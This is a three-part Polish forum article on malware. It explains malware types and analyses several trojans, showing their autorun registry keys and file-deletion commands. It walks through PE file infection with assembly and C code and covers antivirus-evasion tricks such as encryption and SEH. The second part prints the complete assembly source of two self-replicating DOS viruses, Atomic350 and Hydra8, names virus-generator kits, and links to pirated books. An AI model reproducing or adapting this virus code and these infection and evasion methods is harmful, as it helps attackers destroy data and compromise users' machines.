Złośliwe oprogramowanie & wirusy, część 1, 2 i 3

Status
Zamknięty.

0wn3r

Były Moderator
Dołączył
Marzec 10, 2007
Posty
1330
//Ponieważ dostałem trochę weny, postanowiłem napisać jakiś temat.
----------
Jak wszyscy wiemy (prawie wszyscy), w Internecie można znaleźć złośliwe oprogramowanie, typu : wirusy, trojany, keyloggery, spyware, rootkity, itd.
----------
Małe przypomnienie :
Co to jest koń trojański?

Koń trojański, trojan to określenie oprogramowania, które podszywając się pod przydatne lub ciekawe dla użytkownika aplikacje dodatkowo implementują niepożądaną, ukrytą przed użytkownikiem funkcjonalność (spyware, bomby logiczne, itp). Nazwa pochodzi od mitologicznego konia trojańskiego.
----------
Co to jest keylogger?

Keylogger - typ programów komputerowych służących do wykradania haseł.
Programy te działają na zasadzie przejęcia kontroli nad procedurami systemu operacyjnego (głównie Microsoft Windows) służącymi do obsługi klawiatury. Każde wciśnięcie klawisza jest zapisywane w specjalnym pliku. Opcjonalnie informacje o wciśniętych klawiszach poszerzone są o dodatkowe informacje, jak nazwa aktywnego programu lub okna.
----------
Co to jest spyware?

Spyware to programy komputerowe, których celem jest szpiegowanie działań użytkownika.
Programy te gromadzą informacje o użytkowniku i wysyłają je często bez jego wiedzy i zgody autorowi programu.
----------
Co to jest rootkit?

Rootkit - narzędzie pomocne we włamaniach do systemów informatycznych. Ukrywa on niebezpieczne pliki i procesy, które umożliwiają utrzymanie kontroli nad systemem.
----------
Co to jest wirus komputerowy?

Wirus komputerowy - najczęściej prosty program komputerowy, który w sposób celowy powiela się bez zgody użytkownika. Wirus komputerowy w przeciwieństwie do robaka komputerowego do swojej działalności wymaga nosiciela w postaci programu komputerowego, poczty elektronicznej itp. Wirusy wykorzystują słabość zabezpieczeń systemów komputerowych lub właściwości systemów oraz niedoświadczenie i beztroskę użytkowników. Często wirusami komputerowymi mylnie nazywane są wszystkie złośliwe programy.
----------
Programy typu : wirus, keylogger, rootkit, itd. można zwalczać za pomocą programów takich jak :
- antywirus (np. NOD32, a do rootkitów : Rootkit Revealer)
- antyspyware (np. Ad-Aware SE Professional)
- antykeylogger (nie ma doskonałego antykeyloggera, ale jak ktoś chce to : Advanced Anti
Keylogger)

----------
Teraz ciekawsza strona tego tematu (mam nadzieje), objaśnienie działania wirusów, oraz objaśnienie funkcji kilku koni trojańskich.
Wpierw jednak zacznę, od analizy koni trojańskich.
----------
Trojan od którego zacznę, którego antywirusy wykrywają jako :
-Trojan.Win32.KillFiles.ac, który posiada dość szkodliwą/wredną funkcję.
Postać pliku : PE EXE
Rozmiar : 35328b (bajtów).
Trojan działa w następujący sposób : uruchamia swoje polecenia w folderze roboczym.
Kod:
echo del *.txt

echo del *.doc

echo del *.xls

echo del *.com

echo del *.dll

echo del *.dot

echo del *.bin

echo del *.htm

echo del *.ppt

echo del *.avi

echo del *.mp3

echo del *.src

echo del *.bmp

echo del *.cfg

echo del *.mpg

echo del *.drv

echo del *.vxd

echo del *.mdb
----------
Kolejny trojan, którego omówię, nosi nazwę :
- Trojan.BAT.DelSys.d
Postać pliku : .BAT
Rozmiar : 4644b
Po uruchomieniu, trojan wyświetla dość nietypowy komunikat :
Kod:
D I L E M M A ============= You now have the DILEMMA Virus on your computer. Any attempt 

to shut down your system or bypass the virus at this point will cause BOTH options to 

activate. Choose your fate below..... 1. Randomly Delete Some Files 2. Make A Mess Of 

Your C: Directory
1 opcja - usunięcie wszystkich plików .dll z folderu C:Windows:System
2 opcja - zrobi bałagan na dysku C, tworząc takie foldery :
Kod:
C:JAHAJKH C:JHDGYD C:EWWER C:WEWER C:WRWERWER C:STORMMAKER C:AASDAS

C:BFBB C:QQWERD C:SDFSV C:SFSDFS C:WWEWE C:FGDFSADA C:SDSSTY C:ASWDD

C:QQWERF C:VVBGTD C:OOIKM C:FGTYH C:FRCDFR C:SWDEXD C:VFGRT C:RBNHH

C:QWSXXZ C:SDSDTY C:UIYUHH C:FDGFGDF C:DFGDFVFG C:JJUIK C:MMNHBG C:XCDSEW

C:ERRFDC C:QASWX C:BVGHYT C:TNMJKIU C:BGHYTG C:BVGTFR C:ZZXSW C:LLOU

C:DSSFS C:WEWEE C:WWEW C:SDFSXCX C:VBGTFC C:NHJUYHG C:AASWD C:AXDCD

C:BGVFR C:CFGTR C:DESXC C:EEFDR C:FFGTRE C:GHJUY C:HUJYG C:IJKUG C:JKNHBG

C:KIJBGT C:LKIJN C:MNJHVV C:NBHGY C:OPLK C:PKIJU C:QQWSD
----------
Kolejny trojan, jest wykrywany przez antywirusy jako :
- Trojan-Spy.Win32.VB.oq
Postać pliku : PE EXE
Rozmiar : 28 672b
Napisany w języku : Visual Basic (dodatkowa informacja)
Po uruchomieniu pliku, szkodnik dodaje się jako :
Kod:
%WinDir%scsrss.exe
Szkodnik zapewnia sobie automatyczne uruchamianie wraz ze startem systemu, dzięki kluczowi :
Kod:
[HKLMSoftwareMicrosoftWindowsCurrentVersionRun]"scsrss.exe" = "%WinDir%scsrss.exe"
Funkcje szkodnika :
Trojan śledzi zawartość schowka.
----------
Kolejny szkodnik i już przedostatni, jest wykrywany przez antywirusy jako :
- Trojan.Win32.StartPage.adi
Postać pliku : PE EXE
Rozmiar : 4 265b
Napisany w języku : C++
Trojan, zapewnia sobie automatyczne uruchamianie wraz ze startem systemu, dzięki kluczowi :
Kod:
[HKLMSoftwareMicrosoftWindowsCurrentVersionRun]"SysTray" = "(ścieżka do pliku wykonywalnego trojana)"
Funkcje szkodnika : szuka plików z nazwami :
Kod:
%WinDir%secure32.html  %ProgramFiles%secure32.html
Po znalezieniu kopiuje plik secure32.html, na dysk C (C:secure32.html).
Następnie modyfikuje rejestr systemowy i podmienia domyślną stronę przeglądarki :
Kod:
 [HKLMSoftwareMicrosoftInternet ExplorerMain]

"Local Page" = "c:secure32.html"



[HKLMSoftwareMicrosoftInternet ExplorerMain]

"Start Page" = "c:secure32.html"



[HKLMSoftwareMicrosoftInternet ExplorerMain]

"Default_Page_URL" = "c:secure32.html"



[HKCUSoftwareMicrosoftInternet ExplorerMain]

"Local Page" = "c:secure32.html"



[HKCUSoftwareMicrosoftInternet ExplorerMain]

"Start Page" = "c:secure32.html"



[HKCUSoftwareMicrosoftInternet ExplorerMain]

"Default_Page_URL" = "c:secure32.html"
----------
Ostatni szkodnik, jaki tu opiszę, jest wykrywalny przez antywirusy jako :
- Trojan.Win32.Small.dl
Postać pliku : PE EXE
Rozmiar : 24 576b
Napisany w języku : C++
Po uruchomieniu, szkodnik kopiuje swój plik wykonywalny do folderu systemowego z oryginalną nazwą pliku.
Kod:
%System%(oryginalna nazwa trojana)
Trojan zapewnia sobie autostart, dzięki kluczowi :
Kod:
[HKLMSoftwareMicrosoftWindowsCurrentVersionRun]

"wins" = "%System%(oryginalna nazwa pliku trojana)"
Funkcje szkodnika : co 55 minut, szkodnik otwiera następujące adresy :
Kod:
http://bbsdown.cn/aabb.html   [url]http://552779.cn/aabb.html[/url]
----------
Działanie wirusów :
Technika którą wykorzystują niektóre wirusy (tzw. EPO) :
- EPO: Entry-Point Obscuring
- Fighting EPO Viruses
Wirusy mają zdolność samopowielania. Wirusy przenoszone są przeważnie w zainfekowanych wcześniej plikach lub w pierwszych sektorach fizycznych dysków logicznych. Tylko i wyłącznie od programisty, zależy co jego szkodnik ma wykonywać, może uniemożliwić pracę komputera, wyłączyć go, wysłać spam, zaśmiecić, zniszczyć ważne dane, itd. Pierwszy wirus na świecie powstał w 1986 roku, posiadał on nazwę Brain. Wirusy komputerowe, mogą być pisane w różnych językach programowania, typu C, C++, Turbo Pascal, jednakże najczęściej są one pisane w assemblerze.
Istnieje wiele programów umożliwiających stworzenie własnego wirusa, nawet bez znajomości systemu czy mechanizmów wykorzystywanych przez wirusy. Tego typu generatory, można bez problemowo znaleźć w Internecie (starczy troszkę poszukać).
Znane generatory wirusów :
- IVP – Instant Virus Production Kit
- VCL – Virus Construction Laboratory
- PS-MPC – Phalcon-Skism Mass Produced Code Generator
- G2 – G Squared

----------
Rodzaje wirusów komputerowych :
Wirusy można podzielić według wielu kryteriów. Przykładowy podział ze względu na infekowany obiekt :
- wirusy dyskowe, infekujące sektory startowe dyskietek i dysków twardych
- wirusy plikowe, które infekują pliki wykonywalne danego systemu operacyjnego
- wirusy skryptowe
- makrowirusy, których kod składa się z instrukcji w języku wysokiego poziomu, wykonywane przez interpreter.
----------
Kilka książek na temat wirusów :
- Andrzej Dudek : "Jak pisać wirusy"
- Adam Błaszczyk : "Wirusy"
----------
To narazie jest koniec, możecie się spodziewać drugiej części artykułu, gdzie napisze o budowie plików PE, infekcji plików PE i o wirusach w Linuxie.
----------
Umieszczam teraz 1 książkę na temat wirusów :
- http://rapidshare.com/files/68979180/Adam_...Wirusy.rar.html
----------
// Niektóre z tych informacji były czerpane z :
http://www.wikipedia.pl

----------
// Jeśli to możliwe, proszę o przyklejenie tematu
<
 

soyer181

Użytkownik
Dołączył
Sierpień 24, 2006
Posty
103
Może temat już był ... ale NAPEWNO się przyda , dzięki-moja wiedza się poszerzyła dzięki temu tematowi =]
 

backdoorman

Użytkownik
Dołączył
Wrzesień 23, 2007
Posty
117
Oczywiście że tamat się przyda a nawet powiedział bym że bardzo potrzebny
Przydało by się jeszcze opisać jak usuwać takie wirusy których obecność w systemie nie jest widoczna gołym okiem , tak jak np. Confident_A Stealth Keylogger .
Wiem że autor keyloggera zagląda dość często na forum więc mógł by coś na ten temat napisać , i napewno jest tu wiele osób które wiedzą jak odinstalować takie trojany i inne syfy których obecność w systemie jest ukryta przez zastosowanie rootkitów czy w jakiś inny sposób .
Dzięki za temat
 

0wn3r

Były Moderator
Dołączył
Marzec 10, 2007
Posty
1330
// Jak obiecałem, że będzie druga część artykułu, to oto i ona
<

----------
W ostatnim artykule, przypomnieliśmy sobie, co to jest keylogger, trojan, wirus, rootkit, itd.
W tej części artykułu napisze o wirusach w Linux'ie, logach z HijackThis'a, budowy plików PE, a zresztą, sami zobaczycie.
----------
Pierwsza rzecz, jaka rozpocznie ten artykuł, będą to wirusy w Linux'ie.
----------
W Systemach takich jak Win95/NT pamięć operacyjna została zaprojektowana z ograniczonym dostępem do segmentów. W tych systemach systemach, z użyciem selektorów, jądro ma możliwość obsługi całej przestrzeni wirtualnej, czyli od 0x00000000 do 0xFFFFFFFF. Jakkolwiek w Linux-ie sprawa wygląda inaczej, mamy w nim dwie strefy odróżnione ze względu na znaczenie segmentacji. Strefa przeznaczona na procesy użytkownika zawiera się w adresach 0x000000000xC0000000 a druga strefa, przeznaczona na jądro systemu zawiera się w adresach takich jak : 0xC00000000xFFFFFFFF
----------
Przyjrzyjmy się stanowi rejestrów (debugger zwany gdb). Na początku wywołania komendy takiej jak gzip.
Kod:
(gdb)info registers

eax 0x0 0

ecx 0x1 1

edx 0x0 0

ebx 0x0 0

ebp 0xbffffd8c 0xbffffd8c

esi 0xbffffd9c 0xbffffd9c

edi 0x4000623c 1073766972

eip 0x8048b10 0x8048b10

eflags 0x296 662

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43
Z tego co wyżej podałem, można odczytać, że Linux, używa selektora 0x23 dla segmentu kodu oraz 0x2b dla segmentu danych.
----------
Jeśli przyjrzymy się kodowi jądra mieszczącemu się w pliku
/usr/src/linux/arch/i386/kernel/head.S, możemy odtworzyć wartości rejestrów w czasie ładowania Linux'a.
Kod:
88

/*

* This gdt setup gives the kernel a 1GB address space at virtual

* address 0xC0000000 - space enough for expansion, I hope.

*/

ENTRY(gdt)

.quad 0x0000000000000000 /* NULL descriptor */

.quad 0x0000000000000000 /* not used */

.quad 0xc0c39a000000ffff /* 0x10 kernel 1GB code at 0xC0000000 */

.quad 0xc0c392000000ffff /* 0x18 kernel 1GB data at 0xC0000000 */

.quad 0x00cbfa000000ffff /* 0x23 user 3GB code at 0x00000000 */

.quad 0x00cbf2000000ffff /* 0x2b user 3GB data at 0x00000000 */

.quad 0x0000000000000000 /* not used */

.quad 0x0000000000000000 /* not used */

.fill 2*NR_TASKS,8,0 /* space for LDT's and TSS's etc */

#ifdef CONFIG_APM

.quad 0x00c09a0000000000 /* APM CS code */

.quad 0x00809a0000000000 /* APM CS 16 code (16 bit) */

.quad 0x00c0920000000000 /* APM DS data */

#endif
Z tego wszystkiego, wynika, że Linux, inicializuje 4 segmenty - 2 dla jądra, oraz 2 dla potrzeb użytkownika.
----------
Rezydentny wirus w ring0 otrzymuje maskymalne przywileje procesora, ponad to w ring0 jest możliwe przechwycenie wywołań do systemu przez wszystkie procesy systemu. W celu otrzymania przywilejów ring0 wirus może spróbować zmian w IDT dla globalnego TrapGate. W celu modyfikacji GDT lub też LDT do wywołania Call Gate lub też nawet zapatchowania kodu, który jest wywoływany w ring0.
----------
Budowa plików PE
----------
Specyfikacja formatu PE pochodzi z systemu UNIX i jest znana jako COFF (Common Object File Format). System Windows powstał na korzeniach VAX, VMS oraz UNIX; wielu jego twórców wcześniej pracowało nad rozwojem tych systemów, zatem logiczne wydaje się zaimplementowanie niektórych właściwości tej specyfikacji.
Znaczenie PE (Portable Executable) mówi, że jest to przenośny plik wykonywalny, co w praktyce oznacza uniwersalność między platformami x86, MIPS, Alpha.
----------
Pliki PE, składają się z kilku części :
- Nagłówek DOS-MZ
- Odcinek DOS
- Nagłówek PE
- Tablica sekcji
- Sekcja 1
- Sekcja ...
- Sekcja n
----------
Infekcja plików PE
----------
Jako jeden z pierwszych sposobów infekcji plików PE zaproponował Jack Qwerty, nestor należący do znanej grupy 29A, autor pierwszych wirusów infekujących PE: Win32.Jacky oraz Win32.Cabanas. Po nich pokazały się kolejne dwa: Esperanto oraz Win32.Marburg – stworzone przez zespół 29A.
Najbardziej popularną metodą infekcji plików PE jest sposób, który polega na doklejaniu się kodu wirusa do ostatniej sekcji, zwiększeniu jej rozmiaru i ustawieniu początku wykonywania programu na adresie odpowiadającym pierwszej instrukcji doklejonego kodu.
----------
Załóżmy, że w rejestrze EDX mamy wskaźnik do początku otwartego/zmapowanego w pamięci pliku, np. przez API MapViewOfFile(). Pierwszą czynnością jaką powinna wykonać nasza procedura infekująca w wirusie jest sprawdzenie czy atakowany obiekt jest plikiem PE. Można to wykonać szukając nagłówka PE poprzez pole znajdujące się na offsecie 03Ch w pierwszym nagłówku DOS-MZ.
Mały przykład :
Kod:
push      edx

cmp       word ptr ds:[edx], “ZM”

jnz       koniec_infekcji

mov       edx, dword ptr ds:[edx+3Ch]

cmp       cmp word ptr ds:[edx], “EP”

jnz       koniec_infekcji
Gdy już wiemy, że mamy do czynienia, z właściwym plikiem, musimy następnie zlokalizować ostatnią sekcję. Przykład w języku C (nie napisane przeze mnie)
Kod:
#include <windows.h>

#include <windowsx.h>

#include <winbase.h>

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#include <winnt.h>



int get_num_sections ( LPVOID );



LPVOID get_first_section ( LPVOID );



void main (void) {



char *filename;



char c;



HANDLE hFile;



HANDLE hMap;



LPVOID lpFile;



int num_sections;



int s;



int space;



LPVOID *section_header;



LPVOID *look_at;



DWORD value1;



DWORD value2;



DWORD free_here;



filename = (LPSTR) GetCommandLine();



printf ( "nGetSpace wyszukuje wolne miejsce w plikach PEn" );



printf ( "GetSpace napisane przez GriYo / 29Ann" );



do {



c = *filename;



filename++;



}



while ( ( c != 0 ) && ( c != ' ' ) );



if ( c != 0 ) c = *filename;



if ( c == 0 ) {



printf ( "Użycie: GETSPACE nazwa pliku nn" );



exit (-1);



}



printf ( "Szukam wolnego miejsca w %snn",filename);



hFile=CreateFile (filename,GENERIC_READ,0,NULL OPEN_EXISTING, 



FILE_ATTRIBUTE_READONLY, 0);



if ( hFile==INVALID_HANDLE_VALUE ) {



printf ( "Nie można odnaleźć pliku nn" );



exit (-1);



26



27



}



hMap = CreateFileMapping ( hFile, NULL, PAGE_READONLY, 0, 0, NULL );



if (hMap==NULL) {



CloseHandle(hFile);



printf ( "Error podczas mapowania pliku do pamięci nn" );



exit (-1);



}



lpFile = MapViewOfFile (hMap, FILE_MAP_READ, 0, 0, 0 );



if (lpFile==NULL) {



CloseHandle(hMap);



CloseHandle(hFile);



printf ( "Error podczas mapowania pliku do pamięci nn" );



exit (-1);



}



num_sections = get_num_sections ( lpFile );



if ( num_sections == 0 ) {



printf ( "Plik nie jest Portable Executable nn" );



}



else {



section_header = get_first_section ( lpFile );



printf ( "Liczba sekcji: %dnn",num_sections );



space = 0;



for ( s = 0; s < num_sections; s++ ) {



look_at=section_header;



printf ( "Sekcja %d (%s)n",s,look_at );

look_at += 2;



value1 = (DWORD) *look_at;



printf ( "-Virtual size: %x (%d)n", value1, value1 );

look_at += 2;



value2 = (DWORD) *look_at;



printf ( "-Wielkość SizeOfRawData: %x (%d)n", value2, value2 );



if ( value1 > value2 )



printf ( "Brak wolnego miejsca w sekcji nn" );



else {



free_here = value2 - value1;



printf ( "-Wolny obszar: %x (%d)nn", free_here, free_here );



space += free_here;



}



section_header+=10;



}



printf ( "Całkowita ilość wolnego miejsca w pliku: %x (%d)", space, space );



}



UnmapViewOfFile(lpFile);



CloseHandle(hMap);



CloseHandle(hFile);

}



int get_num_sections ( LPVOID lpFile ) {



int num_sections;



__asm {



mov ebx,dword ptr [lpFile]



xor ecx,ecx



cld



cmp word ptr [ebx],IMAGE_DOS_SIGNATURE



jne exit_error



cmp word ptr [ebx+IMAGE_DOS_HEADER.e_lfarlc],0040h



jb exit_error



mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.e_lfanew]



add esi,ebx



lodsd



cmp eax,IMAGE_NT_SIGNATURE



jne exit_error



movzx ecx,word ptr [esi+IMAGE_FILE_HEADER.NumberOfSections]



exit_error: mov dword ptr [num_sections],ecx



}



return ( num_sections );



28



}



LPVOID get_first_section ( LPVOID lpFile ) {



LPVOID first_section;



__asm {



mov ebx,dword ptr [lpFile]



cld



cmp word ptr [ebx],IMAGE_DOS_SIGNATURE



jne exit_error;



cmp word ptr [ebx+IMAGE_DOS_HEADER.e_lfarlc],0040h



jb exit_error;



mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.e_lfanew]



add esi,ebx



lodsd



cmp eax,IMAGE_NT_SIGNATURE



jne exit_error



movzx ecx,word ptr [esi+IMAGE_FILE_HEADER.NumberOfSections]



jecxz exit_error



movzx eax,word ptr [esi+IMAGE_FILE_HEADER.SizeOfOptionalHeader]



add esi,IMAGE_SIZEOF_FILE_HEADER



add eax,esi



jmp got_it



exit_error: xor eax,eax

got_it: mov dword ptr [first_section],eax

}



return ( first_section );



}
----------
Jak wirusy, chronią się przed dissassemblerami??? (dodatkowe informacje)
----------
Po infekcji wirusa w pliku wykonywalnym punkt wejścia do programu zmieniany jest na początek kodu wirusa, by po uruchomieniu programu przez użytkownika jego kod został uruchomiony. Z tego też względu kod wirusa jest „na widoku” i może zostać prosto wykryty. Jednakże wykrycie wirusa w systemie nie stanowi jego deaktywacji. Potrzebna jest, ku temu, analiza kodu wirusa i napisanie dla niego antywirusa. By uchronić się przed analizą stosuje się ochronę przeciw disassemblerom, programom, które zamieniają kod maszynowy na assemblera, zrozumiałego dla człowieka. W tym celu stosuje się algorytmy, kryptujące kod wirusa.
----------
Co zrobić, gdy antywirus, nie wykrywa trojana, który siedzi u kogoś na komputerze?
----------
Gdy twój antywirus, nie potrafi wykryć jakiegoś wirusa, zawsze pozostają programy, które zapisują logi na dysk, potem starczy je tylko sprawdzić. Do tego typu programów, między innymi należą :
- HijackThis (sprawdzanie logu)
- Gmer
- ComboFix
- SilentRunner
----------
Kody źródłowe wirusów
----------
Poniżej, zamieszczę, kilka kodów źródłowych różnych wirusów.
----------
Pierwszy wirus :
- Nazwa : Atomic350
- Stworzony : 08.09.2007
Kod źródłowy :
Kod:
                .model tiny



                .code



                org     100h



start:

                db      0e9h, 02, 00



                db      'ML'

startvirus:                

                call    get_relative

get_relative:

                pop     bp

                sub     bp,offset get_relative

                

                lea     si,[bp+restore_bytes]



                mov     di,100h

                push    di

                movsw

                movsw

                movsb

                mov     ah,4Eh

                lea     dx,[bp+filemask]

                int     21h

                               

                jc      quit_virus

                

                call    try_infect



loc_2:

                mov     ah,4Fh

                int     21h

                

                jc      quit_virus

                call    try_infect

                jmp     quit_virus



                nop

                mov     ah,09

                lea     dx, [bp+message]

                int     21h

                int     20h



quit_virus:                

                mov     bp, 100h

                jmp     bp                      .



try_infect:

                mov     ax,3D02h

                mov     dx,9eh

                int     21h



                





                xchg    bx,ax

                

                mov     ax,4200h

                xor     cx,cx

                xor     dx,dx

                int     21h



                

                mov     ah,3Fh

                mov     cx,5

                lea     dx,[bp+restore_bytes]

                int     21h

                                                

                cmp     word ptr cs:[bp+restore_bytes+3],'LM'

                je      loc_2

                mov     ax,5700h

                int     21h

                

                push    cx

                push    dx

                mov     ax,4202h

                xor     cx,cx

                xor     dx,dx

                int     21h

                

                push    bx



                sub     ax,3

                lea     bx,[bp+jmpdata]

                mov     [bx],ax

                pop     bx

                mov     ah,40h

                mov     cx,(endvirus-startvirus)

                lea     dx,[bp+startvirus]

                int     21h

                

                mov     ax,4200h

                xor     cx,cx

                xor     dx,dx

                int     21h

                

                mov     ah,40h

                mov     cx,1

                lea     dx,[bp+jump]

                int     21h

                

                mov     ax,4200h

                xor     cx,cx

                mov     dx,1

                int     21h

                

                mov     ah,40h

                mov     cx,4

                lea     dx,[bp+jmpdata]         

                int     21h





                

                mov     ax,4200h

                xor     cx,cx

                xor     dx,dx

                int     21h

                

                mov     ax,5701h

                pop     dx

                pop     cx

                int     21h

                

                mov     ah,3Eh

                int     21h



                

                ret



filemask        db      '*.COM', 0             



db      '[TAD2A] Created by Memory Lapse of Ontario, Canada', 0Dh, 0Ah, '$'

   

db      '[TAD2A] The Atomic Dustbin 2A - Just Shake Your Rump!', 0Dh, 0Ah,'$'



message         db      'Fail on INT 24 .. NOT!!', 0Dh, 0Ah,'$'



jump            db      0E9h

jmpdata         dw      0

                

                db      'ML'

                

                db      00h, 00h



restore_bytes:

                int 20h

                nop

                nop

                nop

endvirus:

                end     start
----------
Kolejny wirus :
- Nazwa : Hydra8
- Stworzony : Brak
Kod źródłowy :
Kod:
psp_cmd_size    equ     80h

data_17e        equ     1EFh

data_18e        equ     1F2h

data_19e        equ     9D9Ah



seg_a           segment byte public

                assume  cs:seg_a, ds:seg_a





                org     100h



hydra8          proc    far



start:

                jmp     loc_3

                db       59h, 44h, 00h, 00h

data_3          db      'HyDra-8   Beta - Not For Release'

                db      '. *.CO?'

                db      0

data_6          dw      0, 8B39h

data_8          dw      0

data_9          db      0

                db      18 dup (0)

data_10         db      0

                db      10 dup (0)

data_11         db      0

                db      0, 0, 0, 0, 0, 0

data_12         db      0

                db      0, 0, 0, 0, 0, 0

copyright       db      'Copyright (c)'

                db      '  1991 by C.A.V.E.  '

data_13         db      2Ah

                db       2Eh, 45h, 58h, 45h, 00h

data_14         db      33h

                db      0C9h, 1Eh, 52h,0E8h, 06h, 00h

                db      0E8h, 13h, 00h,0EBh, 36h, 90h

                db      0BEh, 48h, 01h

                db      0BFh, 5Ah, 01h,0B9h, 12h, 00h



locloop_1:

                xor     byte ptr [si],0F5h

                movsb

                loop    locloop_1



                retn

                db      0B8h, 00h, 0Fh,0CDh, 10h,0B4h

                db       00h,0CDh, 10h,0B8h, 00h, 02h

                db      0B6h, 0Ch,0B2h, 1Fh,0CDh, 10h

                db       33h,0D2h

                db      0BAh, 5Ah, 01h,0B4h, 09h,0CDh

                db       21h,0B8h, 00h, 02h,0B6h, 18h

                db      0B2h, 00h,0CDh, 10h,0C3h

                db      0B8h, 00h, 4Ch,0CDh, 21h, 00h

                db      0A2h, 9Dh, 9Ah,0F5h, 9Ch, 86h

                db      0F5h

                db      0BFh, 9Ah, 9Dh, 9Bh,0F5h,0B2h

                db       94h, 99h, 81h,0CAh,0D1h

loc_3:

                push    ax

                mov     ax,cs

                add     ax,1000h

                xor     di,di

                mov     cx,1EFh

                mov     si,100h

                mov     es,ax

                rep     movsb

                mov     ah,1Ah

                mov     dx,offset data_9

                int     21h



                mov     ah,4Eh

                mov     dx,offset data_3+22h

                int     21h



                jc      loc_7

loc_4:

                mov     ah,3Dh

                mov     al,2

                mov     dx,offset data_11

                int     21h



                mov     bx,ax

                push    es

                pop     ds

                mov     ax,3F00h

                mov     cx,0FFFFh

                mov     dx,data_17e

                int     21h





                add     ax,1EFh

                mov     cs:data_8,ax

                cmp     word ptr ds:data_18e,4459h

                jne     loc_5

                mov     ah,3Eh

                int     21h



                push    cs

                pop     ds

                mov     ah,4Fh

                int     21h



                jc      loc_8

                jmp     short loc_4

loc_5:

                xor     cx,cx

                mov     dx,cx

                mov     ax,4200h

                int     21h





                jc      loc_6

                mov     ah,40h

                xor     dx,dx

                mov     cx,cs:data_8

                int     21h





loc_6:

                mov     ah,3Eh

                int     21h



                push    cs

                pop     ds

loc_7:

                mov     ah,1Ah

                mov     dx,psp_cmd_size

                int     21h



                jmp     short loc_11

                db      90h

loc_8:

                clc

                xor     cx,cx

                push    ds

                push    dx

                mov     ah,1Ah

                mov     dx,offset data_9

                int     21h



                mov     dx,offset data_13

                mov     ah,4Eh

                xor     cx,cx

                int     21h



                jc      loc_7

loc_9:

                mov     ah,3Ch

                xor     cx,cx

                mov     dx,offset data_11

                int     21h



                mov     bx,ax

                jc      loc_7

                mov     ax,3D02h

                mov     dx,offset data_11

                int     21h



                mov     bx,ax

                clc

                xor     dx,dx

                mov     ah,40h

                mov     dx,offset data_14

                mov     cx,5Ah

                int     21h





                cmp     ax,5Ah

                jb      loc_10

                mov     ah,3Eh

                int     21h



                jc      loc_10

                mov     ah,4Fh

                int     21h



                jnc     loc_9

loc_10:

                mov     ax,4C00h

                int     21h



loc_11:

                xor     di,di

                mov     si,offset data_15

                mov     cx,22h

                rep     movsb

                pop     bx

                mov     cs:data_6,0

                mov     word ptr cs:data_6+2,es

                pop     bx

                jmp     dword ptr cs:data_6

data_15         db      1Eh

                db       07h,0B9h,0FFh,0FFh,0BEh,0EFh

                db       02h,0BFh, 00h, 01h, 2Bh,0CEh

                db      0F3h,0A4h, 2Eh,0C7h, 06h, 00h

                db       01h, 00h, 01h, 2Eh, 8Ch, 1Eh

                db       02h, 01h, 8Bh,0C3h, 2Eh,0FFh

                db       2Eh, 00h, 01h,0CDh

                db      20h



hydra8          endp



seg_a           ends







                end     start
----------
// Niektóre informacje, były czerpanie z :
http://www.wikipedia.pl/

----------
Można się spodziewać części trzeciej artykułu, jak na razie, nie miałem już o czym napisać.
----------
Jakby ktoś chciał zacząć się uczyć Assemblera, to polecam książkę :
- Assembler Sztuka Programowania PL
Link :
- http://rapidshare.com/files/46492064/Asemb...owania.rar.html
----------
Mam nadzieję, że ta część artykułu się komuś przydała
<

----------
UWAGA! Trzecia część artykułu jest poniżej
// jak obiecałem to i jest 3 część tego artykułu
----------
W ostatnich dwóch częściach artykułu, przypomnieliśmy sobie, co to są szkodliwe aplikacje (keylogger, trojan, wirus, itd.). Dowiedzieliśmy się również, jak się przed nimi bronić oraz jak działają. W tej części artykułu, dokładniej dowiemy się, jakie zabezpieczenia używają wirusy, by się bronić przed antywirusami.
----------
Zabezpieczenia wirusów
----------
Jednym z ważniejszych, jak nie najważniejszych, części wirusa jest jego poziom zabezpieczeń przed antywirusami, debuggerami, disassemblerami. Dochodzą również, do tego, zabezpieczenia przed generacją wyjątku w systemie operacyjnym, który może zostać spowodowany, przykładowo, dostępem do chronionej, przez system, pamięci.
Wirus działający na systemach operacyjnych windows 98, 95, ME wykorzystujący nieudokumentowane funkcje systemu operacyjnego oraz jego dziury w celu przejść na poziom ring0 nie będzie poprawnie działał na systemach operacyjnych Windows NT, 2000 oraz XP. Wynika z tego, iż wirus jest zobligowany do detekcji systemu operacyjnego.
Lecz, wirus może to zrobić, za pomocą funkcji systemowej GetVersionEx.
Jeśli ktoś chce, to przykład wykorzystania funkcji GetVersionEx :

Kod:
OSVerInfo OSVERSIONINFO <>

mov OSVerInfo.dwOSVersionInfoSize,sizeof OSVerInfo

invoke GetVersionEx,offset OSVerInfo

cmp OSVerInfo.dwPlatformId,VER_PLATFORM_WIN32_NT

jz @windowsNT

cmp OSVerInfo.dwPlatformId,VER_PLATFORM_WIN32_WINDOWS

jz @windows9x

Jednakże wykonanie jej przez kod wirusa z zarażonego pliku jest procesem skomplikowanym, gdyż wymaga wpisu w tablicy importów pliku PE (Portable Executable), by loader(na polski język "wczytywacz") procesu zwrócił punkt wejścia do niej.
Dlatego, można zastosować również inne rozwiązanie. A mianowicie można użyć mechanizmu SEH (Structured Exception Handling).
Koncepcja jest taka, że aplikacja instaluje jedną lub więcej procedur callback nazwanych „exception handler-ami” następnie w przypadku, gdy wystąpi wyjątek, system, wywołując exception handlera, pozwala aplikacji obsłużyć owy wyjątek.

Istnieją dwa typy "exception handler-ów" :

- „final” exception handler - instaluje się go poprzez wywołanie funkcji
SetUnhandledExceptionFilter.
- „per-thread” exception handler - ten typ obsługi wyjątku stosowany jest do nadzorowania
wybranych obszarów kodu.

Dla każdego wątku w systemie rejestr FS ma inną wartość. Wartość w rejestrze FS jest 16-bitowym selektorem, który wskazuje na blok informacji wątku (Thread Information Block), struktura ta zawiera ważne informacje o każdym wątku w systemie.
----------
Dobra, na razie tyle nudnego czytania. To przykład mechanizmu SEH, przy użyciu per-thread exception handler'a :

Kod:
push offset obsluga_wyjatku;Pierwszy DWORD

push fs:[0];Drugi DWORD

77

mov fs:[0],esp;Zainstaluj obsługę ERR

[...];Kod wirusa

pop fs:[0];Przywróć poprzedni stan

add esp,4h

ret

obsluga_wyjatku:

[...];Wykrycie wyjątku

mov eax,0

ret

